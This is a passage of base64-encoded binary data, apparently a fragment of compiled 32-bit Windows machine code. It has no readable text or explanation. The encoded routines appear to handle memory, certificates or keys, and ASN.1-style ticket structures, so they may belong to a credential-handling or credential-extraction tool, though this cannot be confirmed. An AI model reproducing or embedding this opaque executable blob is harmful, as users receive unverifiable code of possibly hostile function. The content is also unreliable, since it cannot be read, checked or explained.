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INl/ABWi/CLh8QAAACLDo0ExQQAAAADyFFqQIlF9P8VjHJCAIlF+IXAD4SeAAAAi0UIiwBTix5TUP91+OjMEQEAi0X4i4/EAAAAA8OJCIPEDIPABLswAAIAhcl2IYuXyAAAAIPCBIlN/IkYiwqJSASDwgiDwwSDwAj/Tfx164tFCP8w/xWIckIAi0X4i00IiQGLRfQBBjPbx0X8AQAAADmfxAAAAHYlg338AHQf/3UIi4fIAAAA/zTY6MX+//9DWVmJRfw7n8QAAABy21uLRfxeycNVi+yB7AABAAAzwIlF9IlF/IlF+ImFDP///1NWV4t9CIsHiYUU////i0cEiYUY////i0cIiYUc////i0cMiYUg////i0cQiYUk////i0cUiYUo////i0cYiYUs////i0cciYUw////i0cgiYU0////i0ckiYU4////i0coiYU8////i0csaghZiYVA////jUX8UI2FRP///2gEAAIAUI13MI1d+MaFAP///wHGhQH///8QZomNAv///8eFBP///8zMzMzHhRD///8AAAIA6K78//+NRfxQjYVM////aAgAAgBQjXc46Jb8//+NRfxQjYVU////aAwAAgBQjXdA6H78//+NRfxQjYVc////aBAAAgBQjXdI6Gb8//+NRfxQjYVk////aBQAAgBQjXdQ6E78//+NRfxQaBgAAgCNhWz///9QjXdY6Db8//9mi0dgZomFdP///2aLR2JmiYV2////i0dkiYV4////i0dog8RIjU38Uf93cImFfP///4tHbIvziUWAx0WEHAACAOie/P//i0d0jXd4iUWIjX2MpaWljUX8UKWLfQiNRZxoIAACAFCNt4gAAADoxfv//41F/FCNRaRoJAACAFCNt5AAAADorfv//41F/FD/t5gAAACL88dFrCgAAgDoxfz//4uHnAAAAIlFsIuHoAAAAIlFtIuHpAAAAIlFuIuHqAAAAIlFvIuHrAAAAIlFwIuHsAAAAIlFxIuHtAAAAIlFyIuHuAAAAIlFzIuHvAAAAIlF0IuHwAAAAIlF1IuHxAAAADP2g8QoO8Z0IDm3yAAAAHQYiUXYjUX8UIvDx0XcLAACAOi2/P//WesGiXXYiXXci134i00QjYPcAAAAiYUI////jYPsAAAAUGpAiXXgiXXkiXXoiQH/FYxyQgCLTQyJATvGdChqO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